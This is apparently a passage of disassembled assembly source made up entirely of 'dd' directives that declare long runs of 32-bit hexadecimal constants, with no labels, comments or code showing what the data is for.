		dd 0C6F35429h, 0D35A0C40h, 0A842BF36h, 0A9408C68h, 0DAAC845Bh
		dd 0BD070AADh, 0B545B964h, 5C96A0CBh, 69E391h, 6628C992h
		dd 0D9F71B7Eh, 80A4D2D1h, 6B0F70A5h, 3587535Ch,	7D106934h
		dd 0CB01B1C5h, 7562632Eh, 3AFF09C7h, 2697484h, 31715F49h
		dd 7828250h, 2020C472h,	4B96763Bh, 1DDB1A67h, 0AF5FCF5Dh
		dd 9B0C6DFCh, 9BB1C9Ch,	71EB4719h, 0E51220D4h, 0ED81BEC1h
		dd 5F59E47Fh, 0A52C40B8h, 0A56C3792h, 626A1372h, 1C0A11Fh
		dd 7B54E907h, 6505CB01h, 29E87402h, 72D50D0h, 45ADB45Ah
		dd 0DB3BD81Bh, 0A5147C13h, 0D9CCC6E1h, 810BE5Bh, 0DB28396Dh
		dd 6032850Ah, 2989B55Ch, 977984CEh, 12BC87B4h, 847BAA41h
		dd 0DF88BF0Bh, 7916FEEDh, 2FA9907Eh, 5F9BA04h, 4EEBF745h
		dd 0EE432E2h, 3429AF74h, 0CB8D241h, 6EC94A6Ch, 5F583E50h
		dd 34FB4F92h, 8409F47Ch, 6020BB4Eh, 256F2BBAh, 0F8DE6D2Dh
		dd 0D7F28709h, 0A288D60Eh, 0E3FE5312h, 0ABC1121Bh, 5F25C2EDh
		dd 694A524Ch, 0C2EDC640h, 7C2D0A3Fh, 0CA5A5955h, 0F7D38706h
		dd 810008D2h, 297610CBh, 0BDB1E906h, 5F5EBC83h,	3BFD08B9h
		dd 0FA974C8Ah, 0E5359037h, 68C267ACh, 0EBB02EFCh, 6F306AEBh
		dd 3F359C6Dh, 0E956094Dh, 63747932h, 22A4372h, 61F1BE0Dh
		dd 19E30FF8h, 3E7B8B99h, 0E94E5A01h, 0EC7BD083h, 0D94286C8h
		dd 27B901Dh, 522C556Ah,	0A340DE21h, 940C24EEh, 8057CFF7h
		dd 801D4009h, 0F693F109h, 0F3787DD9h, 0F41608D9h, 2689C1F9h
		dd 768559C8h, 0A13AE98h, 0A65D8DBBh, 5B094F0Ch,	5A7F963Eh
		dd 0B50CF58h, 56017668h, 1A48E265h, 3EE4EF20h, 46E5CFCh
		dd 19E27B18h, 0B012F5F7h, 81126C19h, 0B919708h,	165FCC8Ah
		dd 0FCE22FDCh, 20542491h, 35CE2B60h, 84D4DFADh,	6F047039h
		dd 0FD89CD80h, 0E4386B86h, 6CE31FBDh, 8F12BDCFh, 0B52CEB57h
		dd 6A9B490h, 71BD9CE9h,	2405B4A0h, 9D638496h, 681E0E7Eh
		dd 0EF162B36h, 0F2FE1C74h, 5CB493FBh, 449C5FEBh, 921533E9h
		dd 73F40312h, 6CCE8100h, 981C1029h, 68D36C72h, 345A2E9Ch
		dd 1208674Ch, 1EAB601Ch, 0F98BC388h, 0A6041098h, 958E2E6h
		dd 0C902C2ECh, 2BCF1998h, 0A6C1F768h, 0B0EDF416h, 5A07CAFCh
		dd 0DB34E950h, 898AC05Eh, 0C59382F5h, 0EC5AD4E0h, 0A7394AD3h
		dd 5F364A73h, 826020CEh, 801EB60Bh, 92FA7CCEh, 0C0BE02h
		dd 2A5AF130h, 709B5C68h, 0BAED4BE9h, 80BB9423h,	3E6D14h
		dd 76DBF381h, 564B5380h, 8C590B9Fh, 0FE2D868h, 0F58AF32h
		dd 0B4743164h, 2DEECAD0h, 194935Ch, 1D5D047Ah, 22781EE9h
		dd 1B7BA02h, 0D25008BFh, 8195F5FAh, 0A6EF80E2h,	0ECC2E7CCh
		dd 973B48F7h, 7C58EE15h, 9ED73A50h, 0FE0CC5FCh,	0EED2698Bh
		dd 0E7A33424h, 9DBDC040h, 4CF728A0h, 1F5AB85Fh,	4021BBC2h
		dd 0BCC58B40h, 0BF5770F5h, 0B03B7909h, 757E0655h, 92E93E0Dh
		dd 84EE55E0h, 494B2245h, 0C40D04FEh, 0BE6803A0h, 0CFBE8540h
		dd 542486Eh, 63AE7EE2h,	4F2B36C0h, 7D134C08h, 20D59627h
		dd 357BCE00h, 0E377665h, 11562CF6h, 0BDC7AA72h,	0C542C830h
		dd 83609D1Eh, 4C975A68h, 33527BEh, 5D278A56h, 2FD0D410h
		dd 5EC061A2h, 99F93FDh,	4097479h, 4362D888h, 0D0A3CAC6h
		dd 4A39E99Bh, 6BCF89B2h, 6809BBCBh, 0F0B27E70h,	0E6B4987Eh
		dd 31054705h, 14FF7C0h,	72D50F0h, 0D6E9265Eh, 85026787h
		dd 97C5EB3Ch, 24759AFFh, 5CAF1C46h, 6FD984FEh, 1AF382E6h
		dd 4F128955h, 0A026ACBEh, 0AEE03DD0h, 9AFD8F25h, 41F97F29h
		dd 9CE6E985h, 6C79F341h, 21BE29DCh, 0ACA14AF2h,	0B9C1DC97h
		dd 2D5F6247h, 1D20A82Bh, 5CC5BA52h, 7EC17486h, 0AC62F8E9h
		dd 14D29A40h, 0F1791C28h, 2C07C628h, 0A8745D59h, 0B7749AA8h
		dd 86171173h, 0D784BFC5h, 935EE8BFh, 20E96688h,	0E68130D1h
		dd 0F355C273h, 0E39EB9EEh, 1EC3C251h, 0EC7F26BCh, 12E97F93h
		dd 0FC755771h, 0E6992E1Eh, 202B1B8Eh, 68E8014Dh, 612D4B7Ah
		dd 2A18A018h, 63EC3EE0h, 6F6E8361h, 30C9C702h, 610F4D0Eh
		dd 0DF99B994h, 7C820E41h, 0C1B0052Eh, 0E0AAABB5h, 3FD64FB7h
		dd 3126B2D1h, 1825E62Ah, 0B8128E9Ah, 10400092h,	640F0554h
		dd 989036B9h, 8072D51h,	0D5A96DFh, 0B88094F8h, 72932BDFh
		dd 4010C90h, 0E940E8D1h, 0CA3B8C41h, 34FE152Ch,	87B52C7Ah
		dd 0E3F0451Fh, 2D5720F6h, 364269F1h, 90611842h,	0B30530D6h
		dd 6CA2600Bh, 8DBF804Bh, 983EFB0Eh, 98A33493h, 0F1C6B042h
		dd 1CB23C40h, 80C2FEA0h, 43F280CAh, 2076B753h, 0C04FC706h
		dd 190608E7h, 16CFFE07h, 6C1B2087h, 9CBEF8E0h, 68D0026Eh
		dd 6298D5DAh, 0EFF6DCB7h, 0FA273BF9h, 4002ACB4h, 0C255D435h
		dd 0B70F759Dh, 0AFDCB1C5h, 49358B2h, 14F8022Ch,	0E67E1AEDh
		dd 687A82CDh, 3FD80DDBh, 680F6712h, 3039E4A9h, 0E5EAC095h
		dd 0C6ED7391h, 7218859h, 646B35E2h, 9AF2607Dh, 2D391275h
		dd 0C81325E9h, 0B4CA9C3h, 0FD012852h, 4082A08h,	0E47691E9h
		dd 7EBF5A94h, 15DE640Dh, 0BDC17A0h, 0CDE53221h,	1288B62Bh
		dd 2CFB6407h, 719CA159h, 595E5103h, 0B1F42FF7h,	1EDDE509h
		dd 948B9E65h, 0C1027102h, 0CC8150Fh, 51726560h,	1233E09h
		dd 105600CAh, 817A1E3Bh, 9F907E06h, 657428h, 0B62D401Ch
		dd 2971985Eh, 0DDE9C250h, 21625296h, 15B7F70h, 1158860Bh
		dd 4C9369FFh, 0C46E9326h, 0BE15D5C1h, 90D3021Ch, 0E3CB29BDh
		dd 0C2D4067Dh, 0C31F138h, 0B5145B0Bh, 0EB816125h, 2DBB0845h
		dd 7A7720A5h, 0D9A34DECh, 64A75C88h, 0F10CE5ECh, 186F374Ah
		dd 20D1136Eh, 68068015h, 7FBE0845h, 0D97EF661h,	0DA30B125h
		dd 5E9CFFh, 7B14055Fh, 527C2016h, 85713748h, 0CAC8BD40h
		dd 63C2B271h, 55996C5Dh, 1B4337DAh, 0C4D6D9F7h,	0EF521D30h
		dd 5B3B7CA4h, 0C78F4B0Ah, 7FBBB5DCh, 123FF1BFh,	0B7DDD15Ch
		dd 0FF093F2Bh, 0C02DE06Eh, 0FE081FE1h, 0ADB3C0C1h, 3075EB80h
		dd 0C8E04CB0h, 0E90540B1h, 0B8D045A4h, 98C90E41h, 0DD042F13h
		dd 0ECB5BCE4h, 84224FDAh, 0A2CBFE53h, 7E599F11h, 67DFC2FFh
		dd 621289BAh, 3DF0C764h, 6CEDA860h, 38B40824h, 299A453Bh
		dd 3F621044h, 26FC0A09h, 1040C13h, 31ABB2D4h, 896CCEF0h
		dd 0F3209A81h, 7B73A747h, 0B622772Fh, 810078BEh, 7F134DCDh
		dd 11454882h, 0F67C9804h
		dd 0C1EE8028h, 3F50C4D0h, 355870C8h, 9D44EBAh, 5FE9080Dh
		dd 0B0FFE704h, 4818C1A8h, 29284077h, 0B5899023h, 6C953594h
		dd 5546265Ch, 875F9C05h, 6358C729h, 63ED7F7h, 4B553FDFh
		dd 702D7C1Fh, 0B24B27C5h, 0FF8FC0C7h, 0A10C9832h, 1C681C67h
		dd 0E2F2EF58h, 0CF90E92Eh, 6909C340h, 30714B03h, 0E9D8311Ah
		dd 0F1106D2Ch, 736D399Eh, 0F1B99687h, 0B8416492h, 0F67EF245h
		dd 84BE13ABh, 2189E0F4h, 0C703B9A2h, 0E71AA63Dh, 4B955272h
		dd 418AB810h, 490EC180h, 92C50EE9h, 45EAEB33h, 0E3CB892Ah
		dd 47E9C28Ah, 98F9FF80h, 0C25A5488h, 2911B951h,	4B39B73Bh
		dd 49568BBAh, 0F22124C4h, 0BE6AA6B1h, 83D5F601h, 8E5C004h
		dd 0D4E1BCE9h, 2F3A65FCh, 0E1FC6E54h, 0C602DB2Ch, 0C03C616Bh
		dd 7C10B737h, 90CFFDDAh, 60F9E9D2h, 23F2ED82h, 4AE61158h
		dd 2EAC11Fh, 0D40CBBCBh, 0E5D79C57h, 680C41DEh,	2E85933Fh
		dd 4B179C22h, 0E9DEA25Dh, 0A2947DB4h, 6EE8C126h, 9F0DD000h
		dd 0B7694E7Ch, 4EFC4862h, 69FD15Ah, 8731A8E9h, 59CD0913h
		dd 4640620Fh, 1C0C643Ah, 0C13B7AB9h, 11E9EE01h,	0BB92816Dh
		dd 4D4135AFh, 6CF7262Bh, 9F510B82h, 5F051249h, 0F6C67794h
		dd 4F58DE31h, 58DDAC5Ah, 15D43E51h, 0FFEDF14h, 246CEC68h
		dd 27FDFE53h, 0F95521C9h, 0E2E905FDh, 0F046FC0Eh, 131E7FE1h
		dd 0D411C27h, 6F7BEBF8h, 50C9A9BDh, 0C64B98DDh,	20C82EE9h
		dd 0BE02698Bh, 5F076CA3h, 99D4CFF4h, 0B130C4FBh, 0ED5AA5EAh
		dd 0C5519473h, 0AAD112C4h, 5DAF64Fh, 0C88DA7C9h, 752CFCC4h
		dd 5193138Ah, 3960EA50h, 14B235B4h, 81E23040h, 7DA8511Ah
		dd 17BD10FCh, 0E0F4E84Eh, 21AA6941h, 1E6307Dh, 84A99EDAh
		dd 4AC1E9h, 2F16ADBFh, 89501453h, 583787F8h, 0FF0E14F4h
		dd 0CC11FCCAh, 0D6166963h, 0F4740EFh, 885AB58Ch, 7CA185F8h
		dd 5892828Dh, 7F51D38Bh, 0D2539C87h, 967F7049h,	633C402Eh
		dd 0FDB67F5Fh, 4C8098Bh, 0A839E2F2h, 77FCDA02h,	5A389A09h
		dd 5BC20E40h, 0E972E60Bh, 0B2370DBh, 1CAA6855h,	3C7D7289h
		dd 0C1454E9Dh, 3A8B0FDEh, 680962ECh, 0DD513629h, 0B85DC61Ch
		dd 5C9C0C96h, 2D6B5DE9h, 0CF0292Fh, 0CB06580Dh,	92302139h
		dd 4CC664E0h, 6E6DB159h, 1428C8D0h, 495AB033h, 5D3B9325h
		dd 0ABD08216h, 7AA77471h, 2A786217h, 460B1857h,	7C04838Bh
		dd 1DBF4331h, 9C49E0EEh, 0BE2FA241h, 689DC645h,	4AB7D88Ch
		dd 0B741A89Bh, 0B6C380E1h, 0CE08E27Bh, 0A61F52D8h, 0F74A6CDAh
		dd 0D1292F98h, 8E9476FAh, 5B1B2C04h, 5D09C8FBh,	70C3ABB5h
		dd 0B23BE3FFh, 0A615F570h, 60BA5B3Ah, 29556883h, 66FA2EE1h
		dd 0C2131EF4h, 9A920281h, 5FD9DF5Ah, 75713B62h,	0B8041CC4h
		dd 531E95D8h, 5BE9B0F0h, 3EC3F1EFh, 6ED45CEDh, 0AECBFC34h
		dd 72EE5F2Ch, 4297E4Ah,	0B445A5C9h, 0D4E1FF0Ah,	181653A4h
		dd 3FFBD452h, 2D578A07h, 1D777116h, 0DFBB1E50h,	3ED0B71Bh
		dd 7E2C116h, 50A4C19h, 143BF2Fh, 400943E0h, 41F8BFF2h
		dd 491E7AFCh, 20AA5216h, 1241B9D2h, 0F0290702h,	0E2C7895Eh
		dd 97E4D02Ah, 0D29CFCD3h, 27F239F3h, 405F02DBh,	9A85D442h
		dd 400FB2FDh, 0E34CC1B2h, 19671384h, 0B687F6E8h, 65DC4B49h
		dd 0E9446825h, 0EA25D716h, 453AADD9h, 0AB1D780Fh, 851E7975h
		dd 1BB21C13h, 9A5F312h,	0DB56C0C1h, 4A2D3499h, 0ED7E4575h
		dd 0A044A5D8h, 4FC9B616h, 3EE8C625h, 49D1B135h,	60B7127Dh
		dd 0D0EF82FEh, 20793436h, 0BF043D8Bh, 4CD82F72h, 50E182EAh
		dd 0D5F76248h, 2D580BC7h, 0A00C1480h, 4C199821h, 0D513EA49h
		dd 1B78F396h, 0E910D620h, 0E73B4305h, 0E4012F45h, 0F2B127D2h
		dd 0B269F8FCh, 88FF5109h, 80002901h, 0B05094EDh, 0D8F600BCh
		dd 0C07E0C0h, 0D328E9CCh, 5D763068h, 9AB560F0h,	7051FD37h
		dd 86D95994h, 0BF394E4Bh, 7F455340h, 0AD64539Dh, 591C227Dh
		dd 0B0DBC666h, 0D468059Dh, 0EE3DE572h, 0FD0DF0Ch, 25F738E9h
		dd 0B65F9D70h, 18E91398h, 0D677406Ah, 3228EE81h, 5A517012h
		dd 5073CF39h, 1A54D627h, 60F101C2h, 9F9E88DDh, 214279D4h
		dd 0DF0209D1h, 0F48FF54Eh, 79A38766h, 0A48444F7h, 7295C266h
		dd 3A79B587h, 48032B09h, 306055F4h, 0D20C577Bh,	3E5F3F1Eh
		dd 8D210EBh, 4D698C40h,	0C781717Ah, 2B737564h, 60A2E7A0h
		dd 2F35397h, 0A47D1B61h, 0F031DD7Dh, 50B9BFCFh,	3320ABF9h
		dd 0A30B95D9h, 2227675Fh, 249B090h, 58E18809h, 0E36B5A2Ch
		dd 30ACA4A5h, 8646B963h, 1C36B9F8h, 0DBE18581h,	0D80D3C41h
		dd 101282F1h, 0EAB00FB4h, 0AAFB4A70h, 0B92BB6DDh, 10A3A26Fh
		dd 0BF806541h, 6B380414h, 0AEEFD15Bh, 62A72601h, 15209BC4h
		dd 41018110h, 63AACA80h, 4CBA5876h, 1E124F80h, 7B03B2BBh
		dd 0C913EE4Ah, 56272709h, 0CEBD9DDh, 17456278h,	666174EDh
		dd 4DB07E34h, 7BE22533h, 666271D9h, 0E4570BCFh,	4979F62Fh
		dd 0F93B21E2h, 31FC8A90h, 110D3531h, 2F9BCA3Eh,	0DB3ED556h
		dd 0DBA58291h, 658860B3h, 0E91A543Fh, 467A67E7h, 11050733h
		dd 0F20CF121h, 3FF26DF6h, 0DA295E12h, 0EFB764BFh, 7F14FE65h
		dd 0CAFB4B7Bh, 4CCD1709h, 180DC9D0h, 0BC6E5B4Fh, 0D00D695Ch
		dd 33D9B527h, 712CE9E1h, 0B41A8276h, 0DA609B8Eh, 1D1FBC2Dh
		dd 0DB490F4Ah, 0E7937F6Ah, 397C29C1h, 6E2D0092h, 5A28DC4Eh
		dd 0B55B5A50h, 45850211h, 0BB00E854h, 38CB7DA4h, 8D95C01h
		dd 0FB85A113h, 69F228DCh, 0BAF2317Eh, 87900152h, 9ACBDEE9h
		dd 89517C36h, 0A55CD712h, 0B294E55Bh, 6C5E9301h, 82F363F1h
		dd 49B759Dh, 3B44D7C9h,	0C42EE9DDh, 0DB7DEF8Ah,	0EFDA743Eh
		dd 56291C91h, 0EEED3592h, 0D8BE4984h, 0AC27E90Fh, 0DA5D7AFh
		dd 0E5CCC880h, 0E8205817h, 7034B62Ch, 309298C2h, 0E5610E0Ah
		dd 32E659F7h, 0CD55EFB0h, 0DBB22B85h, 3117AA5Ah, 87E522F8h
		dd 6E6CB09Dh, 6930E903h, 77E15763h, 2B342E23h, 603A07BEh
		dd 11047B48h, 19F4915Ch, 7807634Dh, 37B41490h, 9541BC60h
		dd 0EA4E4E69h, 9C2EB88h, 12CB394Dh, 9D8625Fh, 8F57B08h
		dd 0AD02265Dh, 5D539668h, 46C27998h, 6FD0DF82h,	2218EC0Fh
		dd 507CAB41h, 1F69D7Ah,	0E4ACBEC2h, 123A4E70h, 90C6BC77h
		dd 0DFA638D8h, 68C23AECh, 0CD7649D5h, 99677458h, 4A6B4FB5h
		dd 0F4B949C0h, 2F3D7E1Eh, 98B0E096h, 57EA2568h,	0E4CF107Eh
		dd 0C1980BBBh, 68A94095h, 0AC7D9E05h, 50915A6Ah, 52002D3Dh
		dd 474842BAh, 1CA5405Bh, 4D203512h, 33CEF0FBh, 3871F062h
		dd 525D1A0Eh, 151B4AA4h, 4410393Bh, 665C1B3Eh, 0E368A3CFh
		dd 3C89C115h, 1AA21188h, 224B0C10h, 0F9DD0273h,	133C6481h
		dd 0E6CCF2B0h, 0F709175Dh, 4F90EBDAh, 92D830ACh, 406FF6B0h
		dd 3AB55FA4h, 21A5C256h, 50668DCh, 0B9C4A838h, 0F7F990A4h
		dd 873D9CACh, 0B26A7A7h, 294CD7A1h, 0E3E7810Fh,	0F2FE06Eh
		dd 0BC2B108Ah, 340804Ch, 0F889D0F3h, 13E6B425h,	160E9FD1h
		dd 101A8ABAh, 0FA5B619Bh, 643D3861h, 5CB2B472h,	2524035Dh
		dd 4F7DC096h, 0BAB2962Dh, 71207B85h, 4BBCEC08h,	9A8731FFh
		dd 0E65C4063h, 4B583A13h, 29BE0264h, 0E22E970Bh, 70609FCh
		dd 55090907h, 61279ACCh, 54F8D6B2h, 0B80285A4h,	439B1AD1h
		dd 0C4665D92h, 8CB856EEh, 926E67Fh, 4F00142Fh, 0F50641Fh
		dd 3EFD3087h, 3935E9ADh, 69146F2Eh, 5294EA1Fh, 76CE2591h
		dd 68D942F1h, 38D7D277h
		dd 0D28634C3h, 665DEB21h, 9619D70Fh, 84053773h,	0A6BFF7F8h
		dd 49681B84h, 1F501273h, 4060BA97h, 5B28B95Eh, 12B2BD1Bh
		dd 13F89CCBh, 0FB0966E3h, 1060A7E9h, 0E4181C33h, 0B6EBF6F2h
		dd 0E6D1006Ah, 978E0F46h, 163ACD59h, 5988D0ABh,	8742135Ah
		dd 5E37A2D1h, 0D921C905h, 3C2732A2h, 0FB9FD9F0h, 429B6D9Fh
		dd 31007B3Dh, 4F895FFDh, 0EBCB62EAh, 8F907EF2h,	0E175E92Fh
		dd 3A30D1A4h, 0D1CB6094h, 5B3E72EEh, 5405BEB9h,	0C1BF27E6h
		dd 6B1FBE46h, 4D7B1DF7h, 775B71AEh, 18E5D674h, 5E5E6CE8h
		dd 0F71517D5h, 79245256h, 0F791272Dh, 68169696h, 3AA30987h
		dd 8BA58E24h, 94F52C33h, 1FF2273Ch, 60C2017Ch, 0A1CFE746h
		dd 64774BABh, 4D18C1DCh, 338805h, 50123731h, 12FF903Fh
		dd 0C5CDBA20h, 21218065h, 1A4C832Ah, 73670F6Dh,	0D7823E09h
		dd 7CBDE9h, 0B96853ADh,	0B8A351Eh, 40BC3457h, 0DF12A4B5h
		dd 28BC2645h, 0C344A900h, 727FE971h, 21EF50D2h,	669CFE96h
		dd 6D77F50h, 0D8D002EEh, 0CFC1BE44h, 0F7A7DAEDh, 5B68D1E6h
		dd 7D303A5Eh, 303C6EB0h, 3E384358h, 755BF539h, 0C5001BADh
		dd 46EF01BCh, 0D197EB29h, 98156275h, 4D681477h,	100280Bh
		dd 90BB53CDh, 4D175605h, 3001DBF7h, 3F6E5149h, 0E96CA03Ah
		dd 6783645Fh, 0D8EAB257h, 67BF04C9h, 0F84D8524h, 0E3C910A4h
		dd 0B97C5D3Bh, 45B2023Ah, 0A0D44939h, 0CF01AA27h, 77655C0Bh
		dd 608A4602h, 25728309h, 679CD059h, 46BB0035h, 780D71F6h
		dd 38030F1Dh, 9563EB2Dh, 0FC0BF840h, 0BEF94FD9h, 48E9CC20h
		dd 0C599BF27h, 60BA2B53h, 2DC38147h, 0CC42203Dh, 0E95605D9h
		dd 0BB534BF3h, 4E222518h, 7B2B2053h, 3EC194A1h,	0A96FE33Dh
		dd 0A48ED211h, 1DF8025Eh, 0C2407352h, 0DF3A2FEDh, 2010A70Fh
		dd 4F15C19Fh, 0B8A95E28h, 2CBA90FBh, 0C180A630h, 0F28107EAh
		dd 6B625CDAh, 89C5292Dh, 55348789h, 9C302867h, 2D68C388h
		dd 739A4E54h, 58E25D83h, 3E9D909h, 0A80D797Fh, 7E0B2E95h
		dd 2B5B59B2h, 57F870BAh, 5154E168h, 0D801B831h,	0E936F429h
		dd 897F01B6h, 798C6A00h, 95669F4Ah, 505AD095h, 5598E3Bh
		dd 290BD173h, 8A110F9h,	0B2F64D75h, 4A55A85Fh, 0A72F1FE1h
		dd 0DAA70041h, 9FE9104Ah, 5016CBB4h, 0A5399BDBh, 2526E637h
		dd 0DE59A674h, 17F5ED40h, 933D585Ch, 589134Fh, 0C5599E93h
		dd 5BC7BC02h, 0BFE174FBh, 8A129A21h, 19B4DA6h, 29AC6BBDh
		dd 0F5F070DEh, 9FCD51C0h, 0BD5B5D62h, 0D9834529h, 821D4BE1h
		dd 4F923345h, 4ED370A0h, 0B4F0F938h, 5AFB0BDCh,	7924F378h
		dd 87EA7954h, 800BAD2h,	400478F6h, 30304A68h, 3D80BD4Ch
		dd 0E7EC294Fh, 0B4902D20h, 490A5A09h, 8EA45535h, 5EB8ACC2h
		dd 0C700DBDBh, 188F4C17h, 5301DF01h, 1D1A6851h,	0E87B27E0h
		dd 4945B014h, 65148ECh,	107B8700h, 840F4134h, 27C0E630h
		dd 27880EE9h, 0F95EA824h, 2C82143Ch, 4EC90754h,	84B21194h
		dd 0F8EC466h, 42590C78h, 0FBCBA465h, 3CB72A27h,	4BBD4019h
		dd 0B5FF719Dh, 0F1520C74h, 72CE1A05h, 80FE687Fh, 0E92B58CDh
		dd 5898E620h, 0AF3B8F3Dh, 13FBFA6Dh, 0A961F580h, 47C5931h
		dd 0A1CA1E8h, 0EFE590BFh, 772528C7h, 16425C0Fh,	2F06F857h
		dd 0BAA4005Fh, 0BC3E80EBh, 13AD209Ah, 0FEB00106h, 2C818A10h
		dd 9340A436h, 0DC7D6D71h, 0B83B45C4h, 87B9C424h, 0D9A302Bh
		dd 89987CD9h, 80F2534Eh, 0D8C9870h, 0D5F6E886h,	6C1B4708h
		dd 0EC07C0D6h, 78C48003h, 0F5B3EB32h, 930BC7C0h, 442C54BDh
		dd 0FB1895F1h, 0C4950DD7h, 0C515B4BAh, 49883901h, 550D6843h
		dd 522A3A23h, 73413B2h,	0B83BB044h, 860881BDh, 1288F6C8h
		dd 0BF015013h, 4EA73EE1h, 16393260h, 0E014ED1Ch, 953D4434h
		dd 75D7A435h, 0D05C911Dh, 50470CF2h, 4998048Dh,	0FC8974C1h
		dd 0EADE2D9Ch, 7BFBC050h, 0DAEEBF04h, 5301BD7Ah, 0E94D36E7h
		dd 0B26A92E6h, 14F27CB1h, 5D1B4297h, 0D78B7A45h, 0D545556Ch
		dd 44A26884h, 4CB433FBh, 91491DACh, 0F130F471h,	6A02F5C1h
		dd 49ADED8h, 0E9277E86h, 4BE1BC70h, 1916C1AAh, 8D0F00F3h
		dd 5304D12h, 777DDA2Ah,	0C4D3E431h, 0B9C78808h,	0BE819263h
		dd 0D16A85EAh, 36497D19h, 2E5001Ah, 0F450EC5h, 0FA90258Bh
		dd 3BDA7010h, 0F732C2E1h, 2E90E4C6h, 0D0E82EDCh, 1B67EC12h
		dd 93305004h, 75FB2907h, 0F2390B3Eh, 58BAFDA0h,	1CDE423Dh
		dd 18DABDE0h, 0E0C31213h, 0EBF713BBh, 0F5FC3B89h, 5C36183Fh
		dd 0DF971822h, 0F0071027h, 82779DDAh, 0A51BAB31h, 17EDA4C4h
		dd 4B997750h, 51B38C25h, 51D18839h, 585CD6F5h, 8AD91CCCh
		dd 0A59F0774h, 2569D327h, 4123C6DDh, 0F1C7BF7h,	72C51B01h
		dd 84047C01h, 0A40A1302h, 0C396466h, 8DE98BDBh,	4BCCD7EDh
		dd 42F12920h, 2F34520Ch, 853A099Ch, 35C2DA3Ch, 0B495E0A7h
		dd 0D3BA4C52h, 0AF2E4A17h, 823B5D87h, 5293919Fh, 66022593h
		dd 1C972BBh, 59F7F2D0h,	0B678E291h, 2C1BFC29h, 27540484h
		dd 0E6A2EE58h, 0AAC87089h, 4919A5F6h, 0ABA6CA2h, 8EA1781h
		dd 6F67C353h, 0E4F849E1h, 0A6C4B5B1h, 1040F5F0h, 47160BBEh
		dd 68505897h, 78502DFAh, 0C5157D2Eh, 7997F824h,	6C16ECE6h
		dd 3401391Ah, 25461EA4h, 95A1CFD4h, 740B3FD1h, 0C1239820h
		dd 7C20E7E2h, 5D8B6D6h,	0FC71E94Ah, 755D27BDh, 0E984F145h
		dd 0E2FFC30Fh, 0A35E1824h, 13ACEB99h, 442CBEA6h, 0FA9AB7A3h
		dd 884379C8h, 3D126FC1h, 45F82C2Fh, 30789073h, 0F374EB31h
		dd 7F2FCB67h, 0C51B8252h, 484575C7h, 0C4BFCEBEh, 0F9E9AB46h
		dd 2378A986h, 13674520h, 0C55EF009h, 8AA2439h, 0C10B91EDh
		dd 6A5CE1h, 0B7DFFB84h,	9A16BD55h, 0D5FB9533h, 4DC7325Fh
		dd 9CF8175h, 442A1E77h,	1B8AEB0h, 86A5702Dh, 0BDC389ECh
		dd 0E91513CCh, 5F5A557Dh, 0B9651B2h, 44DD9082h,	88AA2FD2h
		dd 0EE837038h, 0BD542CCAh, 0AC20024Fh, 40265CB0h, 0A986E9C6h
		dd 0CDEF21C0h, 0C1126F55h, 0D46125DCh, 1703604Dh, 5BBD4870h
		dd 0D525BE56h, 0AE684504h, 8EFB8995h, 0E95C279Eh, 446ECE5Ah
		dd 0FF7463DAh, 2A9DE31h, 0D9C19D28h, 20030C25h,	7B17D8FCh
		dd 32000A69h, 50E95108h, 19FB9ADCh, 91C3678Fh, 0BB7FDA03h
		dd 8DEFD99Dh, 734ABB00h, 9340103h, 0F5C15BD9h, 87922181h
		dd 35C6FDC2h, 4C779082h, 329DBEDEh, 18FD2126h, 805BF67Ch
		dd 7212A5BEh, 0BD0D2771h, 133B0DA1h, 83C2D45Ah,	95DAE9C5h
		dd 2078D25Ch, 0C4C4836Eh, 0C804C050h, 7258A877h, 0E94705FBh
		dd 0C4BDB0E2h, 1071B8C0h, 504F3F8h, 2BD03D97h, 77E10AEh
		dd 4E95F0Bh, 0FE292160h, 5EF4CF98h, 4CF2F3E3h, 273D935Bh
		dd 2D39C028h, 776001B7h, 90880F52h, 3A7D656Eh, 46492D3h
		dd 6CE94810h, 113EB340h, 0EF02072Dh, 4C2822F8h,	7B06ECC1h
		dd 5C010DFCh, 1044E86h,	29F93AFBh, 5469373Eh, 96D3D35Fh
		dd 8BB708EAh, 52B06805h, 69D661FAh, 77BB2AA7h, 0A17CC5F3h
		dd 0F78760BBh, 8A32E4E5h, 3C5E9B5h, 243840E1h, 0E569BD5Bh
		dd 789A4401h, 0DD341EA7h, 0F9E15F26h, 0AEE74030h, 0D6894213h
		dd 4EFB7213h, 8417E9E7h, 5CE7071Ch, 0C72E6C3Fh,	25C0A838h
		dd 971550A1h, 2258AB74h, 0E8BD30Ch, 660C104h, 88684A42h
		dd 8052095Dh, 85C8DC57h, 0DEEA4E29h, 0FAA85B9Eh, 9911E906h
		dd 0EE068FFFh, 6986148h, 4A34FE37h, 1EABA2D7h, 2056160Dh
		dd 18C60F0Ch, 5AF70628h
		dd 71F83058h, 0B9A25B4Eh, 0BA6CF912h, 5F60E388h, 0EDAEDD7Bh
		dd 7EAE3559h, 5EA2C1E8h, 67AD717Fh, 135D1B27h, 0A24C9878h
		dd 20CF9E7Dh, 39681507h, 3119FF7Eh, 71096483h, 4C34F480h
		dd 0B771D988h, 466FD5F4h, 0BD1458E5h, 7EC313DCh, 5E9B76C3h
		dd 10D2BD5Dh, 0B800F72Ah, 1FD353BDh, 0F1F8C231h, 0DC3B5D64h
		dd 77E30FC2h, 0C001444Ch, 0F38002EBh, 0B02A302Ch, 5305509Bh
		dd 0B1E90EB7h, 8809DAA3h, 35825801h, 9D6B559Ah,	0B1739848h
		dd 0A32BB992h, 5250876Ah, 2C66B020h, 0C6881CA0h, 5AF4CD58h
		dd 0EB80D89Ch, 66C0455Fh, 9CDCE9B3h, 4F5C1F9Ah,	0CC29FACEh
		dd 6E7F25E2h, 0FD192DBCh, 0D289E379h, 6B347786h, 9E5A94EEh
		dd 0D6275FEAh, 358840D3h, 46191A17h, 255AA6F4h,	20D25191h
		dd 0BCE00DAFh, 0C288999Eh, 670512F8h, 7980B1F4h, 0BB538077h
		dd 487D7C58h, 9A01C73Eh, 0F7185261h, 350860D3h,	95CF8080h
		dd 3CFFF6E0h, 5EB25280h, 21E8910Ah, 0B45C8E30h,	6CB27626h
		dd 0BFE50896h, 48687D27h, 6B050197h, 3A7B680Ah,	980085B3h
		dd 316E5256h, 0C0905BDAh, 0EDF4B64Ah, 9D335B3Bh, 0E22EECB6h
		dd 79AD595h, 358B77Ch, 0B5C4826Ah, 4BCA8759h, 0C38A37EEh
		dd 4E496382h, 35552438h, 72F5CA17h, 0F36BEDDDh,	685904F4h
		dd 0B1A92620h, 6F10E982h, 0D8550DCAh, 5E6B9AB8h, 4248173Ch
